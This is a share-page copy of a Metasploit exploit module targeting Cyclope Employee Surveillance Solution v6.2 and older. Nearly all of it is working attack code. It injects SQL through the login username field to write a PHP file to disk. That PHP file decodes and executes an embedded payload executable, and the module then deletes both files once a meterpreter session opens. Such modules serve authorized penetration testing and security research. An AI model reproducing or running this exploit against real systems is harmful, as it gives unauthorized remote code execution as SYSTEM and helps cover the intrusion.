CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/cyclope_ess_sqli.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::EXE
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => "Cyclope Employee Surveillance Solution v6 SQL Injection",
15
'Description' => %q{
16
This module exploits a SQL injection found in Cyclope Employee Surveillance
17
Solution. Because the login script does not properly handle the user-supplied
18
username parameter, a malicious user can manipulate the SQL query, and allows
19
arbitrary code execution under the context of 'SYSTEM'.
20
},
21
'License' => MSF_LICENSE,
22
'Author' =>
23
[
24
'loneferret', #Original discovery, PoC
25
'sinn3r' #Metasploit
26
],
27
'References' =>
28
[
29
['OSVDB', '84517'],
30
['EDB', '20393']
31
],
32
'Payload' =>
33
{
34
'BadChars' => "\x00"
35
},
36
'DefaultOptions' =>
37
{
38
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
39
},
40
'Platform' => 'win',
41
'Targets' =>
42
[
43
['Cyclope Employee Surveillance Solution v6.2 or older', {}]
44
],
45
'Privileged' => false,
46
'DisclosureDate' => '2012-08-08',
47
'DefaultTarget' => 0))
48
49
register_options(
50
[
51
OptPort.new('RPORT', [true, "The web application's port", 7879]),
52
OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])
53
])
54
55
self.needs_cleanup = true
56
end
57
58
def check
59
peer = "#{rhost}:#{rport}"
60
path = File.dirname("#{target_uri.path}/.")
61
b64_version = get_version(path)
62
if b64_version.empty?
63
vprint_error("Unable to determine the version number")
64
else
65
b64_version = Rex::Text.decode_base64(b64_version)
66
if b64_version =~ /^[0-6]\.1/
67
return Exploit::CheckCode::Appears
68
end
69
end
70
71
return Exploit::CheckCode::Safe
72
end
73
74
75
def get_version(path)
76
res = send_request_raw({'uri'=> "#{path}index.php"})
77
return '' if not res
78
79
v = res.body.scan(/\<link rel\=\"stylesheet\" type\=\"text\/css\" href\=\"([\w\=]+)\/css\/.+\" \/\>/).flatten[0]
80
return '' if not v
81
82
return v
83
end
84
85
86
def on_new_session(cli)
87
if cli.type != 'meterpreter'
88
print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")
89
return
90
end
91
92
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
93
94
begin
95
print_warning("Deleting #{@php_fname}")
96
cli.fs.file.rm(@php_fname)
97
rescue ::Exception => e
98
print_error("Please note: #{@php_fname} is stil on disk.")
99
end
100
101
begin
102
print_warning("Deleting #{@exe_fname}")
103
cli.fs.file.rm(@exe_fname)
104
rescue ::Exception => e
105
print_error("Please note: #{@exe_fname} is still on disk.")
106
end
107
end
108
109
110
def get_php_payload(fname)
111
p = Rex::Text.encode_base64(generate_payload_exe)
112
php = %Q|
113
<?php
114
$f = fopen("#{fname}", "wb");
115
fwrite($f, base64_decode("#{p}"));
116
fclose($f);
117
exec("#{fname}");
118
?>
119
|
120
php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
121
return php
122
end
123
124
125
def exploit
126
peer = "#{rhost}:#{rport}"
127
path = File.dirname("#{target_uri.path}/.")
128
129
#
130
# Need to fingerprint the version number in Base64 for the payload path
131
#
132
b64_version = get_version(path)
133
if b64_version.empty?
134
print_error("Unable to determine the version number")
135
return
136
end
137
138
print_status("Obtained version: #{Rex::Text.decode_base64(b64_version)}")
139
140
#
141
# Prepare our payload (naughty exe embedded in php)
142
#
143
@exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'
144
@php_fname = Rex::Text.rand_text_alpha(6) + '.php'
145
php = get_php_payload(@exe_fname).unpack("H*")[0]
146
sqli = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/#{b64_version}/#{@php_fname}' LINES TERMINATED BY 0x#{php}) and '1'='1"
147
148
#
149
# Inject payload
150
#
151
print_status("Injecting PHP payload...")
152
res = send_request_cgi({
153
'method' => 'POST',
154
'uri' => path,
155
'vars_post' => {
156
'act' => 'auth-login',
157
'pag' => 'login',
158
'username' => sqli,
159
'password' => Rex::Text.rand_text_alpha(5)
160
}
161
})
162
163
#
164
# Load our payload
165
#
166
print_status("Loading payload: #{path}#{b64_version}/#{@php_fname}")
167
send_request_raw({'uri'=>"#{path}#{b64_version}/#{@php_fname}"})
168
if res and res.code == 404
169
print_error("Server returned 404, the upload attempt probably failed")
170
return
171
end
172
173
handler
174
end
175
end
176
177